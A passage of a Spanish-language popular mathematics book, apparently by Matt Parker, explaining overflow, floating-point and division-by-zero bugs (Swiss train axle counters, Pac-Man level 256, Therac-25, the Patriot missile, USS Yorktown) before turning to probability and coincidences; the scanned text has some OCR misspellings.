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Para hacer un seguimiento de la posicién de todos los trenes en la red
ferroviaria suiza, hay detectores colocados alrededor de las vias. Son
detectores sencillos que se activan cuando una rueda pasa por una via, y luego
cuentan cuantas ruedas hay para proporcionar asi una informacién basica
sobre el tren que acaba de pasar. Desgraciadamente, hacen un seguimiento del
numero de ruedas utilizando un numero binario de 8 digitos, y cuando ese
numero llega a 11111111, vuelve a 00000000. Cualquier tren que haga que la
cuenta vuelva de nuevo a exactamente cero habra pasado sin ser detectado,
como si fuera un tren fantasma.

Busqué una copia reciente del documento sobre el reglamento ferroviario
suizo y la regla sobre los 256 ejes esta entre la reglamentacion sobre la carga
de los trenes y las formas en las que los revisores se pueden comunicar con
los conductores.

Supongo que tenian tantas peticiones de personas que desean conocer con
exactitud por qué no pueden afadir algin eje a los 256 existentes que
incluyeron una justificacién en el manual. Esto es, aparentemente, mas facil
que arreglar el codigo. Ha habido muchas ocasiones en las que un tema de
hardware se ha salvado con una solucion de software, pero solo en Suiza he
visto que se haya arreglado un error con un parche burocratico.

5.1 Zugvorbereitung R 300.5
Zugbildung R 1-30111

4.7.4 Zugbildung

Um das ungewollte Freimelden von Streckenabschnitten durch das
Rickstellen der Achszahler auf Null und dadurch Zugsgefahrdungen
zu vermeiden, darf die effektive Gesamtachszahl eines Zuges nicht
256 Achsen betragen.

Eso se traduce mds o menos como «para evitar el peligro de que se active una sefial de «vias
despejadas» para una seccion de la red debido al reinicio a cero del contador de ejes, un tren no debe
tener un niimero efectivo de ejes igual a 256».

Hay formas de mitigar los errores de desbordamiento. Si los
programadores ven venir un problema relacionado con el 256, pueden colocar
un limite estricto para impedir que un valor pase de 255. Sucede a todas
horas, y es divertido ver como la gente se siente confundida con los umbrales
aparentemente arbitrarios. Cuando la aplicacion WhatsApp incrementé el
limite de cuantos usuarios pueden estar en el mismo grupo de chat de cien a
256, se informé de ello en el periddico Independent de esta forma: «No esta
claro por qué WhatsApp ha optado por ese nimero tan especifico».
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Sin embargo, mucha gente si que lo sabia. Ese comentario desaparecio
rapidamente de la version en linea, con una nota a pie de pagina que explicaba
que «algunos lectores han sefialado que 256 es uno de los nimeros mas
importantes en informatica». Siento lastima por el que se encargara de su
cuenta de Twitter esa tarde.

A esto lo llamo «solucion de la pared de ladrillo». Si esta en un grupo de
WhatsApp con 256 personas (usted y 255 amigos) e intenta afiadir a una 257.?
persona, el programa simplemente no le permitira hacerlo. Pero, dado que
usted afirma tener 255 amigos mejores que esa persona, probablemente esa
relacion sea tan débil que dicho individuo no se lo tomara como algo
personal. La amenaza de un error de desbordamiento es también la razon por
la que el juego Minecraft tiene un limite maximo de altura de 256 bloques. Lo
cual es una auténtica solucion de pared de ladrillos, nunca mejor dicho.

Una forma diferente de tratar con los desbordamientos es hacer un bucle
de tal forma que 00000000 siga a 11111111. Eso es exactamente lo que
sucede en Civilization y en los trenes suizos. Pero en ambos casos se
produjeron efectos colaterales no intencionados. L.os ordenadores se limitan a
seguir a ciegas las reglas que les dan y hacen lo «l6gico», sin ninguna
consideracion por aquello que se considera «razonable». Esto significa que
escribir un codigo informatico implica intentar tener en cuenta todos los
resultados posibles y asegurarse de que al ordenador se le ha dicho qué es lo
que debe hacer. Si, programar requiere tener conocimientos de aritmética,
pero en mi opinién es la capacidad de pensar logicamente en escenarios
hipotéticos 1o que mas une a los programadores con los matematicos.

Los programadores responsables de la version arcade original del juego
Pac-Man establecieron que el nimero del nivel se almacenara como nimero
binario de 8 bits, el cual haria un bucle cuando llegase al limite. Pero se
olvidaron de tener en cuenta todas las consecuencias de esa decision y en el
nivel 256 aparece una enrevesada cadena de problemas técnicos, provocando
que el juego falle. No es que sea una gran pérdida: 255 niveles funcionales ya
son muchisimos, teniendo en cuenta que la mayoria de la gente solo llega a
ver el primero. Pero para aquellos con tiempo y monedas que gastar, hay
cientos de niveles para explorar (cierto es que todos son idénticos, excepto
por el comportamiento de los fantasmas). Dicho esto, no he pasado del nivel
7. Necesito ponerme las pilas.

El juego no falla en el nivel 256 porque no pueda almacenar el nimero.
Como siempre, los programadores empiezan a contar desde cero, por lo que el
nivel 1 se almacena como indice 0, el nivel 2 es el indice 1 y asi
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sucesivamente (utilizaré el término «indice» para referirme al numero
almacenado, a diferencia del nimero real del nivel). El nivel 256 se almacena
como indice 255, que es 11111111 en binario. No pasa nada. Incluso
avanzando hasta el nivel 257 volveria a poner el indice a cero y devolveria a
Pac-Man al primer laberinto. El juego deberia ser jugable eternamente. Asi
pues, ¢por qué falla en el nivel 2567

El nivel 256 es un caos absoluto. O estrictamente hablando, no hay waka waka wakas.

El problema es la fruta. Para afiadir algo de variedad a la dieta de Pac-
Man a base de puntos y fantasmas, hay ocho tipos diferentes de frutas, que
aparecen dos veces por nivel (incluyendo una campana y una llave que parece
ser que Pac-Man se come con la misma facilidad con la que se zampa una
manzana o una fresa). Cada nivel tiene asignada una fruta que aparece en la
parte baja de la pantalla, junto con la tltima fruta que se ha comido Pac-Man.
Es este puesto ornamental de frutas el que causa el colapso completo del
juego.

El espacio digital en los sistemas informaticos antiguos era tan escaso
que, en el juego del Pac-Man, solo se almacenan tres numeros: el nivel en el
que estamos, cuantas vidas quedan y nuestra puntuacion. Todo lo demas es
eliminado entre niveles. En cada nivel estamos jugando contra fantasmas con
amnesia que no recuerdan la cantidad de horas que llevamos dandoles guerra.
Por lo que el juego necesita ser capaz de averiguar qué fruta ha consumido
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Pac-Man recientemente. Solo hay espacio para mostrar siete piezas de fruta,
por lo que el juego tiene que mostrar la fruta del nivel actual y de los seis
anteriores (dependiendo de cuantos niveles se han jugado).

En la memoria del ordenador existe un menu con la fruta y el orden en el
que apareceran. Por lo que, si el nivel es inferior al 7, dibuja tantas frutas
como el numero del nivel (por encima de este, muestra las siete mas
recientes). El problema se produce cuando el codigo coge el indice del nivel y
lo convierte en un numero del nivel afiadiendo una unidad. El nivel 256 es el
indice 255, el cual se incrementa en una unidad para pasar a ser... el nivel O.
Cero esta por debajo de siete, por lo que intenta mostrar todas las piezas de
fruta que marca el nimero del nivel. Lo cual estaria bien si dibujara cero
piezas de fruta, pero, lamentablemente, primero muestra los dibujos y luego
cuenta. El cédigo dibuja la fruta y luego resta uno del nimero del nivel hasta
que llega a cero.

dibujar fruta

restar 1 del nimero de nivel
parar si el numero de nivel es cero
si no SEGUIR DANDO FRUTOS

Este no es un cédigo informdtico real del Pac-Man. Pero sirve para hacerse una idea.

El ordenador intentara ahora dibujar 256 piezas de fruta en lugar de las
habituales siete o menos de siete. Bien, digo «fruta», pero el menu de frutas
falla después de solo veinte lineas. Para las veinte primeras, el codigo se fija
en la siguiente posicion de la memoria del ordenador e intenta interpretarla
como una pieza de fruta. A continuacion, sigue avanzando a lo largo de la
memoria como si esta fuera alguna tabla exdtica de frutas extrafias y las
dibuja lo mejor que puede. Algunas no coinciden con los simbolos que se
utilizan en el juego y, como si fuera una colorida interferencia, la pantalla se
llena de letras y signos de puntuacion.

Debido a una peculiaridad del sistema de coordenadas del PacMan,
después de que las frutas llenen la parte baja de la pantalla de derecha a
izquierda, pasan a la esquina superior derecha y empiezan a llenar la pantalla
columna a columna. Cuando se han dibujado 256 piezas de fruta, se ha
llenado la mitad de la pantalla. Aunque parezca increible, el juego pone en
marcha el nivel, pero el sistema no completa un nivel hasta que Pac-Man se
ha comido 244 puntos. En este dltimo nivel, la fruta mutante ha destruido un
montén de puntos, por lo que Pac-Man nunca puede comerse los obligatorios
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244 y esta condenado a vagar por lo que queda de su laberinto roto hasta que
aparece el hastio y sucumbe ante los fantasmas que lo persiguen. Lo que, da
la casualidad, es casi exactamente lo mismo que sienten un montén de
programadores cuando intentan acabar de escribir su codigo.

Cédigo mortal

El error mas peligroso que he encontrado jamas relacionado con el 256 se
produjo en la maquina de radioterapia Therac-25. Estaba disefiada para tratar
a los pacientes con cancer a base de rafagas, o de un haz de electrones o de
rayos X potentes. Era capaz de utilizar ambos tipos de radiacion en la misma
maquina, ya fuera produciendo una corriente de poca intensidad de haces de
electrones a la que se exponia directamente al paciente, o mediante una
corriente de electrones de gran intensidad que dirigia hacia una placa metalica
para producir los rayos X.

El peligro era que el haz de electrones necesario para producir rayos X era
tan potente que podia causar graves dafios al paciente si le alcanzaba
directamente. Por lo que, si se aumentaba la potencia del haz de electrones,
era fundamental asegurarse de que el objetivo metalico y el colimador (un
filtro que concentra el haz de rayos X) se hubiera colocado entre el haz de
electrones y el paciente.

Por esto, y por muchas otras razones de seguridad, el Therac-25 utilizaba
un bucle de una pieza de cédigo de configuracién, y solo si se verificaba que
todos los sistemas estaban ajustados de manera correcta, el rayo se podia
activar. El software tenia un nimero almacenado con el nombre pegadizo de
Class3 (asi de creativos pueden llegar a ser los programadores cuando les
ponen nombres a sus variables). Solo después de que la Therac-25 hubiera
verificado que todo estaba bien estableceria que Class3 = 0.

Para asegurarse de que se realizaba la comprobacion todas las veces, el
codigo de ajuste en bucle le sumaba una unidad a Class3 al inicio de cada
bucle para que no empezase de cero. Una subrutina a la que se le dio un
nombre un poquito mas adecuado, Chkcol, se activaba siempre que Class3
fuese diferente a cero y luego comprobaba el colimador: después de que este
(v el metal objetivo) hubiera sido comprobado y se hubiera verificado que
estaba en el lugar correcto, Class3 se podia resetear a cero y se podia disparar
el haz.

Por desgracia, el numero Class3 se almacenaba como un nimero binario
de 8 digitos que volveria a ser cero después de haber llegado a su limite. Y el
bucle de configuracién se repetia una y otra vez mientras esperaba a que todo
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estuviera a punto, incrementando la variable Class3 cada vez que se
ejecutaba. Por lo que cada 256.° vez que se ejecutaba el bucle de
configuracion, Class3 pasaba a ser cero, no porque la maquina fuese segura,
sino simplemente porque el valor habia llegado a 255 y vuelto de nuevo a ser
cero.

Eso significa que aproximadamente el 0,4% de las veces, el Therac-25 se
saltaba la ejecucién de Chkcol porque Class3 ya era igual a cero, como si el
colimador se hubiese comprobado y se hubiese verificado que se hallaba en la
posicion correcta. Para un error con esas consecuencias mortales, el 0,4% de
las veces es un porcentaje aterrador.

El 17 de junio de 1987, en el Yakima Valley Memorial Hospital
(actualmente, el Virginia Mason Hospital) del estado de Washington, en
Estados Unidos, un paciente se disponia a recibir ochenta y seis rads de una
magquina Therac-25 (rad es una antigua unidad de absorcion de radiacion). Sin
embargo, antes de recibir su dosis de rayos X, el metal objetivo y el
colimador habian sido movidos fuera de su posicién para que la maquina
pudiera ser alineada usando luz visible. No se volvieron a colocar en su sitio.

El operador accion6 el boton de «configuracion» en el momento exacto en
el que Class3 habia vuelto a ser cero, Chkcol no se ejecutd y el haz de
electrones se dispard sin que estuvieran en su lugar ni el objetivo ni el
colimador. En lugar de 86 rads, el paciente pudo recibir entre 8.000 y 10.000
rads. Fallecio en abril de ese mismo afio por complicaciones derivadas de la
sobredosis de radiacion que recibio.

El arreglo del problema del software era preocupantemente sencillo: el
bucle de configuracion se rescribio de tal forma que daria a Class3 un valor
especifico diferente a cero en lugar de incrementar su valor previo. Da que
pensar que cometer una negligencia en la forma en la que los ordenadores
hacen un seguimiento de los numeros puede provocar muertes que se podrian
haber evitado.

Cosas en las que los ordenadores no son excelentes

¢Cuanto es 5 — 4 — 1? No es una pregunta trampa: la respuesta es cero; y no
siempre resulta tan facil como parece. Excel puede fallar. El sistema de
digitos binarios utilizado por los ordenadores para almacenar numeros en la
memoria digital no solo provoca errores de desbordamiento, sino que deja de
cumplir con las matematicas aparentemente mas sencillas.

Si cambio ese 5 — 4 — 1 por 0,5 — 0,4 — 0,1, la respuesta correcta sigue
siendo cero, pero la version de Excel que estoy utilizando piensa que es

Pagina 118



—2,77556E-17. Y, aunque —0,0000000000000000 277556 puede que no sea
exactamente cero, si que esta muy cerca. Por lo que Excel esta haciendo algo
bien. Pero también esta haciendo algo radicalmente mal.

Al | gx| =(0.5 - 0.4 -0.1)*1
v, L
2.77556E-17

Ah, bueno, resulta poco prdctico.

En resumen, algunos nimeros provocan diferentes problemas de base
numeérica. Nuestros numeros humanos de base 10 son terribles a la hora de
tratar con tercios. Pero nos hemos acostumbrado a ello y lo podemos
compensar. Matematicas rapidas: ¢cuanto es 1 — 0,666666 — 0,333333? Puede
que su instinto le diga que es cero, porque 1 — 2/3 — 1/3 = 0. Pero esos digitos
no son lo mismo que %3 y %5, porque para representarlos con exactitud son
necesarios infinitos seis y tres. La respuesta buena es 0,000001, que es
ligeramente distinto a cero porque solo dispongo de un espacio limitado para
escribir las versiones decimales de %3 y ¥4. Si sumamos 0,666666 y 0,333333
nos da 0,999999, no 1.

Los binarios tienen el mismo problema intentando almacenar algunas
fracciones. Sumar 0,4 y 0,1 no da 0,5 en binario, sino, mas bien:

04=0,01100110011060...
0,1=0,0001100110011...
04+0,1=0,0111111111111...

Un ordenador no puede almacenar los infinitos digitos de las versiones
binarias de 0,1 y 0,4, por eso su suma no llega a %0121, Pero dado que los
humanos nos hemos acostumbrado a las limitaciones de los nimeros de base
10, los ordenadores han sido programados para corregir los errores
introducidos por los calculos binarios.

Si introducimos = 0,5 — 0,4 — 0,1 en Excel, lo entendera bien. Sabe que la
suma de 0,0111111... deberia ser exactamente %. Sin embargo, si
introducimos = (0,5 — 0,4 — 0,1) * 1, arrastra el error. Excel no comprueba esta
clase de errores durante los calculos, solo al final. Al hacer como dltimo paso
una inofensiva multiplicaciéon por uno, le hemos dado a Excel una falsa
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sensacion de seguridad. Y por eso no analiza la respuesta antes de
presentarnosla.

Los programadores de Excel afirman que no son los responsables directos.
Se adhieren a los estandares del Instituto de Ingenieria Eléctrica y Electronica
(IEEE por sus siglas en inglés) relativos a la aritmética realizada por
ordenadores, con solo unas pocas variaciones en la forma en la que tratan los
casos inusuales. El IEEE estableci6 el estandar 754 en 1985 (actualizado mas
recientemente en 2008) para acordar el modo en que los ordenadores deberian
lidiar idealmente con las limitaciones de hacer calculos matematicos con
ntimeros binarios de precision finital13,

Dado que son fruto de los mismos estandares, veremos aparecer la misma
clase de problemas siempre que le pidamos a un ordenador que realice las
operaciones matematicas por nosotros. Incluyendo los teléfonos modernos.
Imaginese que esta planeando su agenda. ¢Qué haria si necesitara saber
cuantos pares de semanas hay en setenta y cinco dias? La mayoria de
personas abririan la aplicacion calculadora. Pero le puedo garantizar que usted
resolvera mejor este problema que una calculadora.

Coja su teléfono y abra la aplicacién de la calculadora. Si introduce 75 +
14, la respuesta 5,35714286... aparecera instantaneamente en la pantalla. Por
lo que setenta y cinco dias son un poco mas de cinco pares de semanas. Para
saber cuantos dias extra hay, reste cinco y multiplique los restantes
0,35714286... de un par de semanas por catorce. Lo que ahora le muestra su
calculadora no es correcto.

En algunos teléfonos la respuesta sera 5,00000001 o muy parecida. En
otros, el resultado sera 4,9999999994. Los propietarios de un iPhone podran
ver la respuesta correcta, 5, pero eso no les da derecho a ser petulantes; gire el
iPhone para que la calculadora cambie a modo cientifico y, en versiones
antiguas de iOS, la respuesta completa sera revelada: 4,9999999999. Acabo
de abrir el programa de la calculadora en mi ordenador y da como respuesta
5,00000000000004. Debido a las limitaciones de los numeros binarios, los
ordenadores se acercan mucho, pero no completamente. Al igual que
cualquier producto alimenticio con la palabra «light» en su titulo, siempre es
un poco media verdad.

Los peligros del truncamiento

En el escenario a vida o muerte de la guerra, un simple error puede provocar
la pérdida de muchas vidas. Y, aunque las guerras estan indisolublemente
vinculadas a la politica, creo que todavia podemos analizar de forma objetiva
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como pequefios errores matematicos pueden provocar resultados desastrosos
en cuanto al coste de vidas humanas. Incluso un error matematico tan
pequefio como de un 0,00009536743164%.

El 25 de febrero de 1991, durante la primera guerra del Golfo, se dispar6
un misil Scud contra los barracones del ejército de Estados Unidos cerca de
Dhahran, Arabia Saudi. Al ejército estadounidense no le sorprendio, ya que
disponian de un «sistema de defensa de misiles Patriot» para detectarlos,
seguirlos e interceptar cualquier misil de ese tipo. Utilizando el radar, el
Patriot detectaria un misil entrante, calcularia su velocidad y la utilizaria para
seguir sus movimientos hasta que se disparara un contramisil para destruirlo.
Excepto que un descuido matematico en el codigo del Patriot haria que lo
perdiera.

Disefiado originalmente como un sistema portatil para interceptar los
aviones enemigos, la bateria Patriot se habia actualizado a tiempo para la
guerra del Golfo, para asi poder ser utilizada para defenderse de los misiles
Scud, mucho mas veloces, que podian viajar a velocidades increibles que
rondaban los 6.000 km/h. Los Patriots de la guerra del Golfo se colocaban en
posiciones estaticas en lugar de estar en movimiento, que es para lo que
fueron disefiados.

Estar inmévil implicaba que los sistemas del Patriot no se encendian y
apagaban rutinariamente (esto, como ya hemos visto con anterioridad, puede
producir algunos problemas con el control del tiempo interno). El sistema
utilizaba un numero binario de 24 digitos (3 bytes) para almacenar el tiempo
en décimas de segundo desde la ultima vez que se puso en marcha, lo que
significaba que podia funcionar durante 19 dias, 10 horas, 2 minutos y 1,6
segundos antes de que se produjera un error de desbordamiento. Y debio de
parecerles mucho tiempo cuando lo estaban disefiando.

El problema fue como ese niimero de décimas de segundo era convertido
en valor de coma flotante que equivalia a los segundos exactos. Las
matematicas implicadas son bastante sencillas: se multiplica por 0,1, que es
como si se dividiera por diez. Pero el sistema del Patriot almacenaba el 1/10
como un numero binario de 24 bits, provocando exactamente el mismo
problema que tenia Excel cuando restamos 0,4 y 0,1 de 0,5: esta mal por una
diminuta cantidad.

0,00011001100110011001100 (base 2) = 0,099999904632568359375 (base
10)
0,1 — 0,099999904632568359375 = 0,000000095367431640625

Pagina 121



Este es el error absoluto para 0,1 sequndos, un error del 0,000095367431640625%.

Puede que un error de 0,000095% no parezca gran cosa: solo erroneo por
unas millonésimas. Y cuando el valor del tiempo es pequefio, el error también
lo es. Pero el problema con un error de porcentaje es que, cuanto mas grande
se hace el valor, mas crece el error. Cuanto mas tiempo estaba en marcha el
sistema Patriot, mayor era el valor del tiempo y mayor el error acumulado.
Cuando se lanzo6 el misil Scud, el cercano sistema Patriot llevaba en marcha
de forma continua unas cien horas, aproximadamente 360.000 segundos. Eso
es, mas o menos, un tercio de un milléon de segundos. Por lo que el error era
de un tercio de un segundo.

Puede que un tercio de segundo no parezca mucho tiempo hasta que estas
siguiendo a un misil que va a 6.000 km/h. En un tercio de segundo, un misil
Scud se puede haber desplazado 500 metros. Es muy dificil seguir e
interceptar algo que esta a medio kilometro de distancia del lugar en el que
esperabas que estuviera.

El sistema Patriot fue incapaz de detener el misil Scud y este alcanz6 la
base estadounidense, matando a veintiocho soldados e hiriendo a unas cien
personas mas.

Es otra costosa leccion sobre la importancia de conocer los limites de los
numeros binarios. Pero en esta ocasion trajo otra leccion afadida cuando se
trata de arreglar los errores cometidos. Cuando se actualiz6 para seguir el
rastro a los misiles Scud, mucho mas veloces, el método de conversion del
tiempo también se actualizé, pero no de forma global. Algunas conversiones
de tiempo del sistema todavia utilizaban el antiguo método.

Iré6nicamente, si el sistema se hubiera alejado del tiempo de forma
mantenida, todavia podria haber funcionado correctamente. Seguir la pista de
un misil exige un seguimiento preciso de las diferencias temporales, por lo
que un error generalizado se podria haber contrarrestado. Pero, en esta
ocasion, partes diferentes del sistema estaban utilizando distintos niveles de
precisiéon en su conversion y aparecio la discrepancia. La actualizacion
incompleta es la razon por la que el sistema no pudo detectar el misil que se
dirigia hacia la base.

Mas deprimente todavia es que el ejército de Estados Unidos conocia este
problema, y el 16 de febrero de 1991, present6 una nueva version del software
para arreglarlo. Como se necesito cierto tiempo para distribuirlo a todos los
sistemas Patriot, también se enviéo un mensaje para advertir a los usuarios de
Patriot de que no permitieran que el sistema funcionase de forma continua
durante largos periodos de tiempo. Pero no se especificé en qué consistia
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exactamente eso de «durante largos periodos de tiempo». Al igual que ocurre
con los problemas matematicos, veintiocho muertes también fueron el
resultado de arreglar deficientemente un codigo y de la falta de un mensaje
claro que dijera, por ejemplo, que lo reiniciaran una vez al dia.

El parche del software lleg6 a la base de Dhahran el 26 de febrero. El dia
posterior al ataque del misil.

Nada de lo que preocuparse

En matematicas, es imposible dividir nimeros por cero. Este tema ha
propiciado mas de una discusion en internet, con personas bienintencionadas
que aseguraban que la respuesta al dividir por cero es infinito. Excepto que no
lo es. El argumento es que si cogemos 1/x y permitimos que x se acerque cada
vez mas a cero, el valor crecera rapidamente convirtiéndose en una cifra
infinitamente grande. Lo cual es una verdad a medias.

fo) =1
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Esta linea muestra el resultado de dividir uno por ntimeros cercanos a cero.

Solo es cierto si nos aproximamos a €l desde la direccion positiva; si x
empieza siendo negativo y luego se acerca a cero desde abajo, el valor de 1/x
se dirige hacia el infinito negativo, en una direccion completamente opuesta
al anterior. Si el valor limitante es diferente dependiendo de la direccion en la
que nos aproximamos, en matematicas decimos que el limite es
«indeterminado». No puedes dividirlo por cero. El limite no existe.

Pero ;qué ocurre cuando los ordenadores intentan dividir por cero? A
menos que les hayan dicho explicitamente que no pueden dividir por cero, lo
intentan ingenuamente. Y los resultados pueden ser espantosos.

Los circuitos informaticos son muy buenos sumando y restando, por lo
que las matematicas que hacen estan construidas a partir de ahi. La
multiplicacién es solo una suma repetida, lo cual es bastante facil de
programar. La division es solo un poco mas complicada: es una resta repetida
y luego puede haber algun resto. Por lo que dividir 42 entre 9 implica restar 9
todas las veces posibles, descontando 9 de la cifra inicial: 42, 33, 24, 15y 6.
Han sido cuatro pasos, por lo que 42 + 9 = 4,6666...
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Si a un ordenador le pedimos que calcule 42 + 0, este método para dividir
falla. O mas bien, nunca falla, pero sigue infinitamente. Tengo una
calculadora personal Casio mini de 1975 en mis manos. Si le pido que calcule
42 + 0, la pantalla se llena de ceros como si se hubiera estropeado, hasta que
le doy al boton «ver digitos extra» y la calculadora revela que esta intentando
obtener una respuesta y esa respuesta no para de crecer. La pobre Casio esta
restando constantemente cero de cuarenta y dos y llevando la cuenta de
cuantas veces lo ha hecho.

Incluso las calculadoras mecanicas mas antiguas tenian el mismo
problema. Excepto que tenian una manivela y necesitaban que un humano
estuviera accionandolas durante los calculos mientras ellas continuaban su
inutil mision de restar ceros. Para la gente auténticamente perezosa del pasado
existian calculadoras electromecanicas que tenian un motor incorporado que
aportaba la energia para realizar los calculos de forma automatica. Hay videos
en internet de personas haciendo una division entre cero con una de estas
magquinas; el resultado de lo cual era estar operando eternamente (o hasta que
ya no se aportaba energia).

Una forma facil de arreglar este problema en los ordenadores modernos es
afladir una linea extra al codigo con la que se le dice al ordenador que ni
siquiera se moleste. Si esta escribiendo un programa informatico para dividir
el numero a por el numero b, este es un pseudocodigo sobre cémo se podria
definir la funcién para evitar el problema:

def dividing(a,b):
if b = 0: return ‘Error’
else: return a/b

En el momento de escribir esto, el ultimo iPhone debe tener algo casi
exacto a lo anterior. Si escribo 42 + 0 aparece la palabra «Error» en la
pantalla y evita seguir adelante con la operacion. La calculadora incorporada
en mi ordenador va un paso mas alla y muestra el mensaje «No es un
nimero». Mi calculadora de bolsillo (Casio fx-991EX) da «MathERROR».
He hecho videos de unboxing con calculadoras en las que las desempaqueto y
las analizo. (Mas de tres millones de visitas y subiendo.) Una de las pruebas
que siempre realizo es dividir entre cero y comprobar qué hace la calculadora.
La mayoria se comportan muy bien.

Pero, como siempre, algunas calculadoras se cuelan. Y no solo las
calculadoras: los buques de guerra de la Marina de Estados Unidos también
pueden obtener divisiones entre cero erroneas. En septiembre de 1997, el
crucero USS Yorktown se quedd sin potencia porque su sistema de control

Pagina 125



informatico intent6 dividir entre cero. La Marina lo estaba utilizando para
probar su proyecto Smart Ship: utilizar ordenadores que ejecutaban Windows
en barcos de guerra para automatizar parte del funcionamiento del barco y
reducir la tripulacion en aproximadamente un 10%. Dado que el barco estuvo
flotando a la deriva durante mas de dos horas, esta claro que tuvo éxito en
cuanto a dar a la tripulaciéon mas tiempo libre.

La frecuencia con la que aparecen ejemplos militares de matematicas que
salen mal no es porque las fuerzas armadas estén especialmente negadas para
las matematicas. En parte, es porque se dedican a la investigacion y al
desarrollo, por lo que estan en la vanguardia de lo que se puede hacer, lo cual
invita a que se cometan errores. Ademas, tienen cierta obligacion publica de
informar sobre las cosas que han salido mal. Obviamente, un montén de
errores matematicos que sin duda alguna deben ser fascinantes nunca se han
desclasificado, pero en una compafiia privada se silencian incluso muchos
mas. Por lo tanto, me veo limitado a hablar sobre errores de los que se ha
informado abiertamente.

En el caso del USS Yorktown, los detalles de lo sucedido siguen siendo
un poco confusos. No esta claro si el barco tuvo que ser remolcado hasta el
puerto o si finalmente recuperd la potencia en el mar. Pero si que sabemos
que se traté de un error debido a una division entre cero. Parece ser que el
error empez6 con alguien introduciendo un cero en alguna parte de una base
de datos (y la base de datos lo consider6 como nimero, no una entrada nula).
Cuando el sistema dividi6 por la cifra que habia en esta entrada, la respuesta
empezO a elaborarse a toda prisa como en una calculadora barata. Esto
provoco un error de desbordamiento cuando se hizo mas grande que el
espacio de la memoria informatica de su interior. Hizo falta un supergrupo de
errores matematicos, dirigidos por la division entre cero, para tumbar todo un
barco de guerra.
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Siete

PROBABILIDAD Y ERROR

Los sucesos poco probables pueden producirse. El 7 de junio de 2016,
Colombia estaba jugado contra Paraguay un partido de la Copa América. El
arbitro lanzé una moneda al aire para ver qué equipo elegia campo. Pero la
moneda cay6 perfectamente sobre su canto. Después de un momento de duda
y de las risas de los jugadores que estaban cerca y que vieron lo que sucedio,
el arbitro recogié la moneda y la lanzé de nuevo, esta vez con éxito.

Reconozco que la hierba facilita que una moneda aterrice sobre su canto.
Que eso ocurra sobre una superficie dura es casi imposible. Creo que la
moneda con las probabilidades mas altas de caer de canto es la antigua de una
libra del Reino Unido (en circulacion desde 1983 a 2017), que es la moneda
para uso diario mas gruesa que he visto jamas. Para comprobar cuan probable
es que caiga sobre su canto, me senté y me pasé tres dias lanzando una.
Después de diez mil intentos, habia caido de canto catorce veces. No esta mal.
Sospecho que la nueva moneda de una libra tendra unas probabilidades
parecidas, pero dejaré que sea otro el que haga esos diez mil lanzamientos.

Para algo mucho mas delgado como es el nickel estadounidense, sospecho
que haran falta decenas de miles de lanzamientos para conseguir un solo caso
exitoso. Pero sigue siendo posible. Si quiere que algo improbable ocurra, solo
necesita la paciencia necesaria para crear las suficientes oportunidades que
permitan que eso ocurra. O, en mi caso, paciencia, una moneda, un montén de
tiempo libre y esa clase de personalidad obsesiva que hace que estés sentado
en una habitacion lanzando una moneda al aire ti solo, a pesar de las
desesperadas stiplicas de amigos y familiares para que lo dejes.

A veces, la repeticion de intentos no es algo tan obvio. Una de mis
fotografias favoritas de todos los tiempos es la de alguien llamada Donna,
tomada en 1980 cuando, de nifia, visitaba Disney World. Muchos afios
después, estaba a punto de casarse con su ahora marido, Alex, y estaban
mirando los viejos albumes familiares de fotos. Donna le ensefi¢ su foto a
Alex, quien se percat6 de que una de las personas que aparecian en el fondo
empujando un carrito de bebé era su padre. Y si, era su padre. ;Y él era el
nifio que iba en el carrito! Donna y Alex se habian fotografiado juntos, por
casualidad, quince afios antes de coincidir de nuevo y finalmente casarse.
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Obviamente, esto atrajo la atencion de los medios de comunicacién: tenia
que ser el destino el que provocé que se hubieran fotografiado juntos.
iEstaban destinados a casarse entre ellos! Pero no es el destino; solo son
estadisticas. Es como lanzar una moneda al aire y que esta caiga sobre su
canto. Las probabilidades de que eso ocurra son increiblemente bajas, pero si,
heroicamente, lo intenta las suficientes veces, puede estar casi seguro de que
acabara ocurriendo.

La coincidencia es casi tan increible como que alguien quiera la foto que le han hecho con Smee.

Las probabilidades de que cualquier pareja sea fotografiada junta por
casualidad durante su juventud son increiblemente pequefias. Pero no son
cero, y creo que son lo suficientemente grandes para que no nos
sorprendamos cuando ocurre. Piense en cuantas personas desconocidas «al
azar» aparecen en fotografias suyas. ;Cientos? ;Miles? Ahora que todos los
moviles tienen camara, no creo que sea exagerar si decimos que una persona
joven de hoy en dia puede haber sido fotografiada junto a diez personas
diferentes al azar por semana. Eso, a los veinte afios, son diez mil personas
con las que comparte fotografias. Por supuesto, debe haber algtn requisito y
no todos los que aparecen en el fondo de las fotos son alguien con quien te
podrias casar. Asi pues, seamos conservadores y digamos que un humano
medio habra sido fotografiado con al menos unos pocos cientos de personas
con las que potencialmente se podria casar.

La probabilidad de que una persona especifica tenga una relacién seria
con una de esos pocos cientos de personas es increiblemente pequefia. Hay
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otros miles de millones de personas en el mundo con las que poder casarse.
La probabilidad de llegar a casarse con una de esas parejas es de cien entre
miles de millones de parejas potenciales. No son muchas. Son comparables (si
no peores) a la probabilidad de ganar la loteria. Y, del mismo modo que por
ganar la loteria, personas como Donna y Alex deberian estar alucinando por
lo afortunadas que son.

Pero, como ocurre con la loteria, no nos deberia sorprender que alguien
resulte afortunado. A usted le parece increible ganar la loteria, pero no lo es
que alguien la gana. Nunca leera titulares de peridédicos diciendo cosas como:
«jIncreible! jEsta semana volvié a haber un ganador de la loteria!». Al jugar
tanta gente, no es sorprendente que haya ganadores de manera regular.

No nos habriamos fijado en Donna y Alex si esta coincidencia no hubiera
sucedido. Son dos personas aleatorias que viven en Norteamérica. Solo nos
preocupamos por ellos porque existe esta fotografia. Incluso aunque las
posibilidades de que esto le ocurriera a usted pudieran ser solo de cien entre
miles de millones, siguen existiendo miles de millones de personas a las que
les podria ocurrir. Pienso que la poblacion con la que una persona se podria
casar y la poblacion a la que esto le podria ocurrir se contrarrestan. Segun mi
l6gica, en toda poblacién podriamos esperar que hubiera tantas «fotos
milagro» como esta como el numero de veces que calculamos que la persona
media de esa poblaciéon ha sido fotografiada con extrafios. Deberia haber
cientos de fotos como esa por ahi.

Puse a prueba esta teoria cuando estaba de gira en 2013 con mi
espectaculo Matt Parker: Number Ninja. Conté la historia de Donna y Alex y
dije que deberia haber méas extrafias coincidencias como esa. Y, en efecto,
después de uno de los espectaculos, alguien me habl6 sobre un caso similar
que le habia ocurrido a un amigo. Tampoco era una gira mundial ni nada
parecido: fueron unos veinte programas con un publico total de puede que
cuatro mil personas. Y, aun asi, pude encontrar un nuevo ejemplo gracias a
una de las personas del publico.

